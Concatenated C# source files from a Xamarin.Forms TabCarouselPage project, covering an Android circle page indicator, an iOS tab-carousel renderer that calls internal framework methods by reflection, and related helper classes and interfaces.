var pageFillRadius = radius;
if (paintStroke.StrokeWidth > 0)
{
pageFillRadius -= paintStroke.StrokeWidth / 2.0f;
}
//Draw stroked circles
for (var iLoop = 0; iLoop < count; iLoop++)
{
var drawLong = longOffset + (iLoop * threeRadius);
if (Orientation == Horizontal)
{
dX = drawLong;
dY = shortOffset;
}
else
{
dX = shortOffset;
dY = drawLong;
}
// Only paint fill if not completely transparent
if (paintPageFill.Alpha > 0)
{
canvas.DrawCircle(dX, dY, pageFillRadius, paintPageFill);
}
// Only paint stroke if a stroke width was non-zero
if (!Equals(pageFillRadius, Radius))
{
canvas.DrawCircle(dX, dY, Radius, paintStroke);
}
}
//Draw the filled circle according to the current scroll
var cx = (IsSnap ? snapPage : currentPage) * threeRadius;
if (!IsSnap && (pageSize != 0))
{
cx += (currentOffset * 1.0f / pageSize) * threeRadius;
}
if (Orientation == Horizontal)
{
dX = longOffset + cx;
dY = shortOffset;
}
else
{
dX = shortOffset;
dY = longOffset + cx;
}
canvas.DrawCircle(dX, dY, Radius, paintFill);
}
public override bool OnTouchEvent(MotionEvent ev)
{
float x;
if (base.OnTouchEvent(ev))
{
return true;
}
if ((viewPager == null) || (viewPager.Adapter.Count == 0))
{
return false;
}
var action = ev.Action;
switch (action & MotionEventActions.Mask)
{
case MotionEventActions.Down:
activePointerId = MotionEventCompat.GetPointerId(ev, 0);
lastMotionX = ev.GetX();
break;
case MotionEventActions.Mask:
break;
case MotionEventActions.Move:
var activePointerIndex = MotionEventCompat.FindPointerIndex(ev, activePointerId);
x = MotionEventCompat.GetX(ev, activePointerIndex);
var deltaX = x - lastMotionX;
if (!isDragging)
{
if (Math.Abs(deltaX) > touchSlop)
{
isDragging = true;
}
}
if (isDragging)
{
if (!viewPager.IsFakeDragging)
{
viewPager.BeginFakeDrag();
}
lastMotionX = x;
viewPager.FakeDragBy(deltaX);
}
break;
case MotionEventActions.Pointer1Down:
int index = MotionEventCompat.GetActionIndex(ev);
x = MotionEventCompat.GetX(ev, index);
lastMotionX = x;
activePointerId = MotionEventCompat.GetPointerId(ev, index);
break;
case MotionEventActions.Pointer1Up:
var pointerIndex = MotionEventCompat.GetActionIndex(ev);
var pointerId = MotionEventCompat.GetPointerId(ev, pointerIndex);
if (pointerId == activePointerId)
{
var newPointerIndex = pointerIndex == 0 ? 1 : 0;
activePointerId = MotionEventCompat.GetPointerId(ev, newPointerIndex);
}
lastMotionX = MotionEventCompat.GetX(ev, MotionEventCompat.FindPointerIndex(ev, activePointerId));
break;
case MotionEventActions.Cancel:
case MotionEventActions.Up:
if (!isDragging)
{
var count = viewPager.Adapter.Count;
var width = Width;
var halfWidth = width / 2.0f;
var sixthWidth = width / 6.0f;
if ((currentPage > 0) && (ev.GetX() < halfWidth - sixthWidth))
{
viewPager.CurrentItem = currentPage - 1;
return true;
}
if ((currentPage < count - 1) && (ev.GetX() > halfWidth + sixthWidth))
{
viewPager.CurrentItem = currentPage + 1;
return true;
}
}
isDragging = false;
activePointerId = InvalidPointer;
if (viewPager.IsFakeDragging)
{
viewPager.EndFakeDrag();
}
break;
}
#region compat version
// switch ((int)action & MotionEventCompat.ActionMask)
// {
// case (int)MotionEventActions.Down:
// activePointerId = MotionEventCompat.GetPointerId(ev, 0);
// lastMotionX = ev.GetX();
// break;
//
// case (int)MotionEventActions.Move:
// {
// int activePointerIndex = MotionEventCompat.FindPointerIndex(ev, activePointerId);
// x = MotionEventCompat.GetX(ev, activePointerIndex);
// float deltaX = x - lastMotionX;
//
// if (!isDragging)
// {
// if (Java.Lang.Math.Abs(deltaX) > touchSlop)
// {
// isDragging = true;
// }
// }
//
// if (isDragging)
// {
// if (!viewPager.IsFakeDragging)
// {
// viewPager.BeginFakeDrag();
// }
//
// lastMotionX = x;
//
// viewPager.FakeDragBy(deltaX);
// }
//
// break;
// }
//
// case (int)MotionEventActions.Cancel:
// case (int)MotionEventActions.Up:
// if (!isDragging)
// {
// int count = viewPager.Adapter.Count;
// int width = Width;
// float halfWidth = width / 2f;
// float sixthWidth = width / 6f;
//
// if ((currentPage > 0) && (ev.GetX() < halfWidth - sixthWidth))
// {
// viewPager.CurrentItem = currentPage - 1;
// return true;
// }
// else if ((currentPage < count - 1) && (ev.GetX() > halfWidth + sixthWidth))
// {
// viewPager.CurrentItem = currentPage + 1;
// return true;
// }
// }
//
// isDragging = false;
// activePointerId = InvalidPointer;
// if (viewPager.IsFakeDragging)
// viewPager.EndFakeDrag();
// break;
//
// case MotionEventCompat.ActionPointerDown:
// {
// int index = MotionEventCompat.GetActionIndex(ev);
// x = MotionEventCompat.GetX(ev, index);
// lastMotionX = x;
// activePointerId = MotionEventCompat.GetPointerId(ev, index);
// break;
// }
//
// case MotionEventCompat.ActionPointerUp:
// int pointerIndex = MotionEventCompat.GetActionIndex(ev);
// int pointerId = MotionEventCompat.GetPointerId(ev, pointerIndex);
// if (pointerId == activePointerId)
// {
// int newPointerIndex = pointerIndex == 0 ? 1 : 0;
// activePointerId = MotionEventCompat.GetPointerId(ev, newPointerIndex);
// }
// lastMotionX = MotionEventCompat.GetX(ev, MotionEventCompat.FindPointerIndex(ev, activePointerId));
// break;
// }
#endregion
return true;
}
public void SetViewPager(ViewPager view, int initialPosition)
{
SetViewPager(view);
SetCurrentItem(initialPosition);
}
public void SetViewPager(ViewPager view)
{
if (view.Adapter == null)
{
throw new IllegalStateException("ViewPager does not have adapter instance.");
}
viewPager = view;
viewPager.SetOnPageChangeListener(this);
UpdatePageSize();
Invalidate();
}
public void SetCurrentItem(int item)
{
if (viewPager == null)
{
throw new IllegalStateException("ViewPager has not been bound.");
}
viewPager.CurrentItem = item;
currentPage = item;
Invalidate();
}
private void UpdatePageSize()
{
if (viewPager != null)
{
pageSize = (Orientation == Horizontal) ? viewPager.Width : viewPager.Height;
}
}
public void NotifyDataSetChanged()
{
Invalidate();
}
public void OnPageScrollStateChanged(int state)
{
scrollState = state;
if (listener != null)
{
listener.OnPageScrollStateChanged(state);
}
}
public void OnPageScrolled(int position, float positionOffset, int positionOffsetPixels)
{
currentPage = position;
currentOffset = positionOffsetPixels;
UpdatePageSize();
Invalidate();
if (listener != null)
{
listener.OnPageScrolled(position, positionOffset, positionOffsetPixels);
}
}
public void OnPageSelected(int position)
{
if (IsSnap || scrollState == ViewPager.ScrollStateIdle)
{
currentPage = position;
snapPage = position;
Invalidate();
}
if (listener != null)
{
listener.OnPageSelected(position);
}
}
public void SetOnPageChangeListener(ViewPager.IOnPageChangeListener pageChangeListener)
{
listener = pageChangeListener;
}
protected override void OnMeasure(int widthMeasureSpec, int heightMeasureSpec)
{
if (Orientation == Horizontal)
{
SetMeasuredDimension(MeasureLong(widthMeasureSpec), MeasureShort(heightMeasureSpec));
}
else
{
SetMeasuredDimension(MeasureShort(widthMeasureSpec), MeasureLong(heightMeasureSpec));
}
}
/// <summary>
/// Determines the width of this view
/// </summary>
/// <param name="measureSpec">The measure spec packed into an int.</param>
/// <returns>The width of the view, honoring constraints from measureSpec</returns>
private int MeasureLong(int measureSpec)
{
int result;
var specMode = MeasureSpec.GetMode(measureSpec);
var specSize = MeasureSpec.GetSize(measureSpec);
if ((specMode == MeasureSpecMode.Exactly) || (viewPager == null))
{
result = specSize;
}
else
{
var count = viewPager.Adapter.Count;
result = (int)(PaddingLeft + PaddingRight + (count * 2 * radius) + (count - 1) * radius + 1);
//Respect AT_MOST value if that was what is called for by measureSpec
if (specMode == MeasureSpecMode.AtMost)
{
result = Math.Min(result, specSize);
}
}
return result;
}
/// <summary>
/// Determines the height of this view
/// </summary>
/// <param name="measureSpec">The measure spec packed into an int.</param>
/// <returns>The height of the view, honoring constraints from measureSpec</returns>
private int MeasureShort(int measureSpec)
{
int result;
var specMode = MeasureSpec.GetMode(measureSpec);
var specSize = MeasureSpec.GetSize(measureSpec);
if (specMode == MeasureSpecMode.Exactly)
{
result = specSize;
}
else
{
result = (int)(2 * radius + PaddingTop + PaddingBottom + 1);
//Respect AT_MOST value if that was what is called for by measureSpec
if (specMode == MeasureSpecMode.AtMost)
{
result = Math.Min(result, specSize);
}
}
return result;
}
protected override void OnRestoreInstanceState(IParcelable state)
{
try
{
var savedState = (SavedState)state;
base.OnRestoreInstanceState(savedState.SuperState);
currentPage = savedState.CurrentPage;
snapPage = savedState.CurrentPage;
}
catch
{
base.OnRestoreInstanceState(state);
}
RequestLayout();
}
protected override IParcelable OnSaveInstanceState()
{
var superState = base.OnSaveInstanceState();
var savedState = new SavedState(superState)
{
CurrentPage = currentPage
};
return savedState;
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.iOS/UIKit/UIPageContainer.cs
/***************************************************************************************************************
* UIPageContainer.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using CoreGraphics;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
namespace TabCarouselPage.iOS.UIKit
{
internal sealed class UIPageContainer : UIView
{
private VisualElement Element { get; set; }
public UIPageContainer ( VisualElement element ) {
Element = element;
AutoresizingMask = UIViewAutoresizing.FlexibleDimensions;
}
public override void LayoutSubviews () {
base.LayoutSubviews ();
if ( Subviews.Length == 0 ) {
return;
}
if ( !Element.Bounds.Equals ( Frame.ToRectangle () ) ) {
Console.WriteLine ( ">>>> Perform Re-layout" );
Element.Layout ( Frame.ToRectangle () );
}
//Subviews [ 0 ].Frame = new CGRect ( 0 , 0 , ( float ) Element.Width , Element.Height);
Subviews [ 0 ].Frame = new CGRect ( 0 , 0 , Frame.Width , Frame.Height );
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.iOS/Renderers/TabCarouselPageRenderer.cs
/***************************************************************************************************************
* TabCarouselPageRenderer.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.ComponentModel;
using System.Reflection;
using System.Threading;
using CoreGraphics;
using TabCarouselPage.Core;
using TabCarouselPage.iOS.Renderers;
using TabCarouselPage.iOS.UIKit;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(TabCarouselPage.Core.TabCarouselPage), typeof(TabCarouselPageRenderer))]
namespace TabCarouselPage.iOS.Renderers
{
public class TabCarouselPageRenderer : UIViewController , IVisualElementRenderer
{
#region Tab Bar View
protected UITabBar tabBarView;
private List <UITabBarItem> tabBarItems;
private static int TabBarHeight {
get {
if ( Device.Idiom == TargetIdiom.Tablet ) {
try {
return int.Parse ( UIDevice.CurrentDevice.SystemVersion.Substring ( 0 , 1 ) ) == 7 ? 56 : 49;
} catch {
return 49;
}
}
return 49;
}
}
#endregion
private UIScrollView scrollView;
private Dictionary <Page , UIView> containerMap;
private VisualElementTracker tracker;
private EventTracker events;
private bool disposed;
private bool appeared;
private bool ignoreNativeScrolling;
private EventHandler <VisualElementChangedEventArgs> elementChanged;
public VisualElement Element { get; private set; }
/// <summary>
/// Empty functions in order for Xamarin.Forms to load this class
/// </summary>
public static void Load () {}
protected internal int SelectedIndex {
get { return ( int ) ( scrollView.ContentOffset.X / scrollView.Frame.Width ); }
set { ScrollToPage ( value , true ); }
}
protected internal TabCarouselPage.Core.TabCarouselPage TabbedCarousel {
get { return ( TabCarouselPage.Core.TabCarouselPage ) Element; }
}
public UIView NativeView {
get { return View; }
}
public UIViewController ViewController {
get { return this; }
}
public event EventHandler <VisualElementChangedEventArgs> ElementChanged {
add {
EventHandler <VisualElementChangedEventArgs> eventHandler = elementChanged;
EventHandler <VisualElementChangedEventArgs> comparand;
do {
comparand = eventHandler;
eventHandler = Interlocked.CompareExchange ( ref elementChanged , comparand + value , comparand );
} while ( eventHandler != comparand );
}
remove {
EventHandler <VisualElementChangedEventArgs> eventHandler = elementChanged;
EventHandler <VisualElementChangedEventArgs> comparand;
do {
comparand = eventHandler;
eventHandler = Interlocked.CompareExchange ( ref elementChanged , comparand - value , comparand );
} while ( eventHandler != comparand );
}
}
public TabCarouselPageRenderer () {
bool isiOS7OrNewer;
//do an extension
try {
isiOS7OrNewer = int.Parse ( UIDevice.CurrentDevice.SystemVersion.Substring ( 0 , 1 ) ) >= 7;
} catch ( Exception ) {
isiOS7OrNewer = false;
}
if ( isiOS7OrNewer ) {
return;
}
WantsFullScreenLayout = false;
}
public void SetElement ( VisualElement element ) {
VisualElement element1 = Element;
Element = element;
containerMap = new Dictionary <Page , UIView> ();
OnElementChanged ( new VisualElementChangedEventArgs ( element1 , element ) );
if ( element == null ) {
return;
}
Forms_SendViewInitialized ( element , NativeView );
}
public void SetElementSize ( Size size ) {
Element.Layout ( new Rectangle ( Element.X , Element.Y , size.Width , size.Height ) );
}
public SizeRequest GetDesiredSize ( double widthConstraint , double heightConstraint ) {
return NativeView.GetSizeRequest ( widthConstraint , heightConstraint );
}
public override void ViewDidLoad () {
base.ViewDidLoad ();
//Initialize the tab bar items
tabBarItems = new List <UITabBarItem> ();
tracker = new VisualElementTracker ( this );
events = new EventTracker ( this );
events.LoadEvents ( View );
scrollView = new UIScrollView {
ShowsHorizontalScrollIndicator = false
};
scrollView.DecelerationEnded += OnDecelerationEnded;
View.AddSubview ( scrollView );
int num = 0;
foreach ( var page in TabbedCarousel.Children ) {
InsertPage ( page , num++ );
}
PositionChildren ();
TabbedCarousel.PropertyChanged += OnPropertyChanged;
TabbedCarousel.PagesChanged += OnPagesChanged;
//Initialized the tab bar view
tabBarView = new UITabBar {
Items = tabBarItems.ToArray () ,
Translucent = true
};
View.AddSubview ( tabBarView );
}
private void OnElementChanged ( VisualElementChangedEventArgs e ) {
EventHandler <VisualElementChangedEventArgs> eventHandler = elementChanged;
if ( eventHandler == null ) {
return;
}
eventHandler ( this , e );
}
private void OnDecelerationEnded ( object sender , EventArgs e ) {
if ( ignoreNativeScrolling || SelectedIndex >= TabbedCarousel.Children.Count ) {
return;
}
TabbedCarousel.CurrentPage = TabbedCarousel.Children [ SelectedIndex ];
}
private void Reset () {
Clear ();
int num = 0;
foreach ( ContentPage page in TabbedCarousel.Children ) {
InsertPage ( page , num++ );
}
}
private void InsertPage ( ContentPage page , int index ) {
IVisualElementRenderer renderer = GetRenderer ( page );
if ( renderer == null ) {
renderer = RendererFactory.GetRenderer ( page );
SetRenderer ( page , renderer );
}
UIView view = new UIPageContainer ( page );
view.AddSubview ( renderer.NativeView );
containerMap [ page ] = view;
AddChildViewController ( renderer.ViewController );
scrollView.InsertSubview ( view , index );
//Add TabBarItem into the list
switch ( TabbedCarousel.TabType ) {
case TabType.TitleOnly :
renderer.ViewController.TabBarItem = new UITabBarItem ( page.Title , null , index );
break;
case TabType.TitleWithIcon :
renderer.ViewController.TabBarItem = new UITabBarItem ( page.Title , !string.IsNullOrEmpty ( page.Icon ) ? UIImage.FromFile ( page.Icon ) : null , index );
break;
case TabType.IconOnly :
if ( !string.IsNullOrEmpty ( page.Icon ) ) {
renderer.ViewController.TabBarItem = new UITabBarItem ( string.Empty , UIImage.FromFile ( page.Icon ) , index );
} else {
throw new NullReferenceException ( "Please include a tab icon for this" );
}
break;
default :
throw new ArgumentOutOfRangeException ();
}
tabBarItems.Insert ( index , renderer.ViewController.TabBarItem );
}
private void RemovePage ( ContentPage page , int index ) {
containerMap [ page ].RemoveFromSuperview ();
containerMap.Remove ( page );
IVisualElementRenderer renderer = GetRenderer ( page );
if ( renderer == null ) {
return;
}
renderer.ViewController.RemoveFromParentViewController ();
renderer.NativeView.RemoveFromSuperview ();
//Remove TabBarItem from the list
tabBarItems.RemoveAt ( index );
}
private void SelectSetTabBar ( int index ) {
if ( tabBarView == null || Equals ( tabBarView.SelectedItem , tabBarItems [ index ] ) ) {
return;
}
tabBarView.SelectedItem = tabBarItems [ index ];
tabBarView.BackgroundColor = TabbedCarousel.CurrentPage.BackgroundColor.ToUIColor ();
}
private void OnPropertyChanged ( object sender , PropertyChangedEventArgs e ) {
if ( e.PropertyName != "CurrentPage" ) {
return;
}
UpdateCurrentPage ( true );
}
private void OnPagesChanged ( object sender , NotifyCollectionChangedEventArgs e ) {
ignoreNativeScrolling = true;
NotifyCollectionChangedAction collectionChangedAction = Apply ( self : e ,
insert : ( o , i , c ) => InsertPage ( ( ContentPage ) o , i ) ,
removeAt : ( o , i ) => RemovePage ( ( ContentPage ) o , i ) ,
reset : Reset );
PositionChildren ();
ignoreNativeScrolling = false;
if ( collectionChangedAction != NotifyCollectionChangedAction.Reset ) {
return;
}
int index = TabbedCarousel.CurrentPage != null ? TabbedCarousel.Children.IndexOf ( TabbedCarousel.CurrentPage ) : 0;
if ( index < 0 ) {
index = 0;
}
//Set the selected
SelectSetTabBar ( index );
ScrollToPage ( index , true );
}
public override void ViewDidLayoutSubviews () {
base.ViewDidLayoutSubviews ();
//Setup tabbar frame and delegate
tabBarView.Frame = new CGRect ( 0 , View.Bounds.Height - TabBarHeight , View.Bounds.Width , TabBarHeight );
tabBarView.Delegate = new TabCarouselBarDelegate ( this );
//Adjust the scrollview height to accomodate the tabbar
scrollView.Frame = new CGRect ( View.Bounds.X , View.Bounds.Y , View.Bounds.Width , View.Bounds.Height - tabBarView.Frame.Height );
//Children need to set a different bounds than the parent, therefore the following needs to be called
Element.Layout ( new Rectangle ( 0.0 , 0.0 , View.Bounds.Width , View.Bounds.Height ) );
//this is where we layout the view
foreach ( var page in TabbedCarousel.Children ) {
page.Layout ( new Rectangle ( Element.X , Element.Y , Element.Width , Element.Height - TabBarHeight ) );
}
PositionChildren ();
UpdateCurrentPage ( false );
}
public override void WillRotate ( UIInterfaceOrientation toInterfaceOrientation , double duration ) {
ignoreNativeScrolling = true;
}
public override void DidRotate ( UIInterfaceOrientation fromInterfaceOrientation ) {
ignoreNativeScrolling = false;
}
private void Clear () {
foreach ( var keyValuePair in containerMap ) {
keyValuePair.Value.RemoveFromSuperview ();
var renderer = GetRenderer ( keyValuePair.Key );
if ( renderer != null ) {
renderer.ViewController.RemoveFromParentViewController ();
renderer.NativeView.RemoveFromSuperview ();
SetRenderer ( keyValuePair.Key , null );
}
}
containerMap.Clear ();
}
protected override void Dispose ( bool disposing ) {
if ( disposing && !disposed ) {
TabbedCarousel.PropertyChanged -= OnPropertyChanged;
SetRenderer ( Element , null );
Clear ();
if ( scrollView != null ) {
scrollView.DecelerationEnded -= OnDecelerationEnded;
scrollView.RemoveFromSuperview ();
scrollView = null;
}
if ( appeared ) {
appeared = false;
SendDisappearing ();
}
if ( tabBarView != null ) {
if ( tabBarView.Delegate != null ) {
tabBarView.Delegate.Dispose ();
tabBarView.Delegate = null;
}
tabBarView.RemoveFromSuperview ();
tabBarView = null;
}
if ( events != null ) {
events.Dispose ();
events = null;
}
if ( tracker != null ) {
tracker.Dispose ();
tracker = null;
}
Element = null;
disposed = true;
}
base.Dispose ( disposing );
}
private void UpdateCurrentPage ( bool animated = true ) {
ContentPage currentPage = TabbedCarousel.CurrentPage;
if ( currentPage == null ) {
return;
}
//set the tab bar again
SelectSetTabBar ( TabbedCarousel.Children.IndexOf ( TabbedCarousel.CurrentPage ) );
ScrollToPage ( TabbedCarousel.Children.IndexOf ( TabbedCarousel.CurrentPage ) , animated );
}
private void ScrollToPage ( int index , bool animated = true ) {
if ( scrollView.ContentOffset.X == index * scrollView.Frame.Width ) {
return;
}
scrollView.SetContentOffset ( new CGPoint ( index * scrollView.Frame.Width , 0 ) , animated );
}
private void PositionChildren () {
nfloat x = 0;
CGRect bounds = View.Bounds;
foreach ( var index in TabbedCarousel.Children ) {
//Adjust the container's view based on the bound's width and scrollview's height
containerMap [ index ].Frame = new CGRect ( x , bounds.Y , bounds.Width , scrollView.Frame.Height );
x += bounds.Width;
}
scrollView.PagingEnabled = true;
//Set the scrollview's contentsize based on the container's total width and scrollView's height
scrollView.ContentSize = new CGSize ( bounds.Width * TabbedCarousel.Children.Count , scrollView.Frame.Height );
}
public override void ViewDidAppear ( bool animated ) {
base.ViewDidAppear ( animated );
SendAppearing ();
}
public override void ViewDidDisappear ( bool animated ) {
base.ViewDidDisappear ( animated );
SendDisappearing ();
}
/* NOTES:
*
* @Shahman's Note:
* Due to a plenty of internal functions that needs to be override, I've decided to take an approach to re-invented the wheel. doing so will require me
* to call couple of internal functions. Therefore, until it was made protected or public, I have no choice but to use reflection to call those functions.
*
* Hopefully, in the future, these functions are available for developers to be used.
*
* According to <NAME>:
* "... some of those functions are internal to Xamarin.Forms, which means you need to use reflection to get them... "
* More Discussions here: http://forums.xamarin.com/discussion/comment/111954/#Comment_111954
*
*/
#region Hack via Reflection
private delegate NotifyCollectionChangedAction ApplyNotifyCollectionChangedActionDelegate ( NotifyCollectionChangedEventArgs self , Action <object , int , bool> insert , Action <object , int> removeAt , Action reset );
private static ApplyNotifyCollectionChangedActionDelegate applyNotifyCollectionChangedActionDelegate;
/// <summary>
/// Reflection from function Xamarin.Forms.Forms::Apply(this NotifyCollectionChangedEventArgs self, Action( object, int, bool ) insert, Action( object, int ) removeAt, Action reset)
/// </summary>
/// <param name="self">The <see cref="NotifyCollectionChangedEventArgs"/> instance containing the event data.</param>
/// <param name="insert">The insert.</param>
/// <param name="removeAt">The remove at.</param>
/// <param name="reset">The reset.</param>
/// <returns></returns>
private static NotifyCollectionChangedAction Apply ( NotifyCollectionChangedEventArgs self , Action <object , int , bool> insert , Action <object , int> removeAt , Action reset ) {
if ( applyNotifyCollectionChangedActionDelegate == null ) {
var assembly = typeof ( Xamarin.Forms.Application ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.NotifyCollectionChangedEventArgsExtensions" );
var method = platformType.GetMethod ( "Apply" , BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic );
applyNotifyCollectionChangedActionDelegate = ( ApplyNotifyCollectionChangedActionDelegate ) method.CreateDelegate ( typeof ( ApplyNotifyCollectionChangedActionDelegate ) );
}
return applyNotifyCollectionChangedActionDelegate ( self , insert , removeAt , reset );
}
private delegate void Forms_SendViewInitializedDelegate ( VisualElement element , UIView nativeView );
private static Forms_SendViewInitializedDelegate formsSendViewInitializedDelegate;
/// <summary>
/// Reflection from function Xamarin.Forms.Forms::SendViewInitialized(this VisualElement self, UIView nativeView)
/// </summary>
/// <param name="element">The element.</param>
/// <param name="nativeView">The native view.</param>
private static void Forms_SendViewInitialized ( VisualElement element , UIView nativeView ) {
if ( formsSendViewInitializedDelegate == null ) {
var assembly = typeof ( CarouselPageRenderer ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Forms" );
var method = platformType.GetMethod ( "SendViewInitialized" , BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic );
formsSendViewInitializedDelegate = ( Forms_SendViewInitializedDelegate ) method.CreateDelegate ( typeof ( Forms_SendViewInitializedDelegate ) );
}
formsSendViewInitializedDelegate ( element , nativeView );
}
/// <summary>
/// Reflection from property GET Rectangle Xamarin.Forms.Page.ContainerArea
/// </summary>
/// <returns></returns>
private Rectangle Page_GetContainerArea () {
var page = Element as Page;
if ( page == null ) {
return Rectangle.Zero;
}
var platformType = page.GetType ();
var property = platformType.GetProperty ( "ContainerArea" , BindingFlags.Static | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
return ( Rectangle ) property.GetValue ( page , null );
}
/// <summary>
/// Reflection from property SET Rectangle Xamarin.Forms.Page.ContainerArea
/// </summary>
/// <param name="rectangle">The rectangle.</param>
private void Page_SetContainerArea ( Rectangle rectangle ) {
var page = Element as Page;
if ( page == null ) {
return;
}
var platformType = page.GetType ();
var property = platformType.GetProperty ( "ContainerArea" , BindingFlags.Static | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
property.SetValue ( page , rectangle );
}
/// <summary>
/// Reflection from function Xamarin.Forms.Page.SendAppearing()
/// </summary>
private void SendAppearing () {
var page = Element as Page;
if ( page == null ) {
return;
}
var assembly = typeof ( Page ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Page" );
var method = platformType.GetMethod ( "SendAppearing" , BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance );
method.Invoke ( page , null );
}
/// <summary>
/// Reflection from function Xamarin.Forms.Page.SendDisappearing()
/// </summary>
private void SendDisappearing () {
var page = Element as Page;
if ( page == null ) {
return;
}
var assembly = typeof ( Page ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Page" );
var method = platformType.GetMethod ( "SendDisappearing" , BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance );
method.Invoke ( page , null );
}
private delegate IVisualElementRenderer GetRendererDelegate ( BindableObject bindable );
private static GetRendererDelegate getRendererDelegate;
/// <summary>
/// Reflection from function IVisualElementRenderer Xamarin.Forms.Platform.iOS.Platform.GetRenderer(BindableObject bindable)
/// </summary>
/// <param name="bindable">The bindable.</param>
/// <returns></returns>
private static IVisualElementRenderer GetRenderer ( BindableObject bindable ) {
if ( bindable == null ) {
return null;
}
if ( getRendererDelegate == null ) {
var assembly = typeof ( CarouselPageRenderer ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Platform.iOS.Platform" );
var method = platformType.GetMethod ( "GetRenderer" );
getRendererDelegate = ( GetRendererDelegate ) method.CreateDelegate ( typeof ( GetRendererDelegate ) );
}
return getRendererDelegate ( bindable );
}
private delegate void SetRendererDelegate ( BindableObject bindable , IVisualElementRenderer value );
private static SetRendererDelegate setRendererDelegate;
/// <summary>
/// Reflection from function Xamarin.Forms.Platform.iOS.Platform.SetRenderer ( BindableObject bindable , IVisualElementRenderer value )
/// </summary>
/// <param name="bindable">The bindable.</param>
/// <param name="value">The value.</param>
private static void SetRenderer ( BindableObject bindable , IVisualElementRenderer value ) {
if ( bindable == null ) {
return;
}
if ( value == null ) {
return;
}
if ( setRendererDelegate == null ) {
var assembly = typeof ( CarouselPageRenderer ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Platform.iOS.Platform" );
var method = platformType.GetMethod ( "SetRenderer" );
setRendererDelegate = ( SetRendererDelegate ) method.CreateDelegate ( typeof ( SetRendererDelegate ) );
}
setRendererDelegate ( bindable , value );
}
#endregion
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Renderers/ObjectJavaBox.cs
/***************************************************************************************************************
* ObjectJavaBox.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
namespace TabCarouselPage.Droid.Renderers
{
internal sealed class ObjectJavaBox <T> : Java.Lang.Object
{
public T Instance { get; set; }
public ObjectJavaBox ( T instance ) {
Instance = instance;
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/Interfaces/IPageIndicator.cs
/***************************************************************************************************************
* IPageIndicator.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using Android.Support.V4.View;
namespace TabCarouselPage.Droid.Widget
{
public interface IPageIndicator : ViewPager.IOnPageChangeListener
{
/// <summary>
/// Bind the indicator to a ViewPager.
/// </summary>
/// <param name="view">View.</param>
void SetViewPager(ViewPager view);
/// <summary>
/// Bind the indicator to a ViewPager.
/// </summary>
/// <param name="view">The view.</param>
/// <param name="initialPosition">The initial position.</param>
void SetViewPager(ViewPager view, int initialPosition);
/// <summary>
/// <para>Set the current page of both the ViewPager and indicator.</para>
/// <para>This must be used if you need to set the page before the views are drawn on screen (e.g., default start page).</para>
/// </summary>
/// <param name="item">The item.</param>
void SetCurrentItem(int item);
/// <summary>
/// Set a page change listener which will receive forwarded events.
/// </summary>
/// <param name="pageChangeListener">The listener.</param>
void SetOnPageChangeListener(ViewPager.IOnPageChangeListener pageChangeListener);
/// <summary>
/// Notifies the indicator that the fragment list has changed.
/// </summary>
void NotifyDataSetChanged();
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/IconPageIndicator.cs
/***************************************************************************************************************
* IconPageIndicator.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using Android.Content;
using Android.Support.V4.View;
using Android.Util;
using Android.Views;
using Android.Widget;
using Java.Lang;
namespace TabCarouselPage.Droid.Widget
{
public class IconPageIndicator : HorizontalScrollView, IPageIndicator
{
private readonly LinearLayout mIconsLayout;
private ViewPager mViewPager;
private ViewPager.IOnPageChangeListener mListener;
private Action mIconSelector;
private int mSelectedIndex;
public IconPageIndicator(Context context) : base(context, null) { }
public IconPageIndicator(Context context, IAttributeSet attrs)
: base(context, attrs)
{
HorizontalScrollBarEnabled = false;
mIconsLayout = new LinearLayout(context);
AddView(mIconsLayout, new ViewGroup.LayoutParams(ViewGroup.LayoutParams.WrapContent, ViewGroup.LayoutParams.FillParent));
}
private void AnimateToIcon(int position)
{
var iconView = mIconsLayout.GetChildAt(position);
if (mIconSelector != null)
{
RemoveCallbacks(mIconSelector);
}
mIconSelector = () =>
{
var scrollPos = iconView.Left - (Width - iconView.Width) / 2;
SmoothScrollTo(scrollPos, 0);
mIconSelector = null;
};
Post(mIconSelector);
// Post ( () => {
// var scrollPos = iconView.Left - ( Width - iconView.Width ) / 2;
// SmoothScrollTo ( scrollPos , 0 );
// } );
}
protected override void OnAttachedToWindow()
{
base.OnAttachedToWindow();
if (mIconSelector != null)
{
Post(mIconSelector);
}
}
protected override void OnDetachedFromWindow()
{
base.OnDetachedFromWindow();
if (mIconSelector != null)
{
RemoveCallbacks(mIconSelector);
}
}
public void OnPageScrollStateChanged(int state)
{
if (mListener != null)
{
mListener.OnPageScrollStateChanged(state);
}
}
public void OnPageScrolled(int position, float positionOffset, int positionOffsetPixels)
{
if (mListener != null)
{
mListener.OnPageScrolled(position, positionOffset, positionOffsetPixels);
}
}
public void OnPageSelected(int position)
{
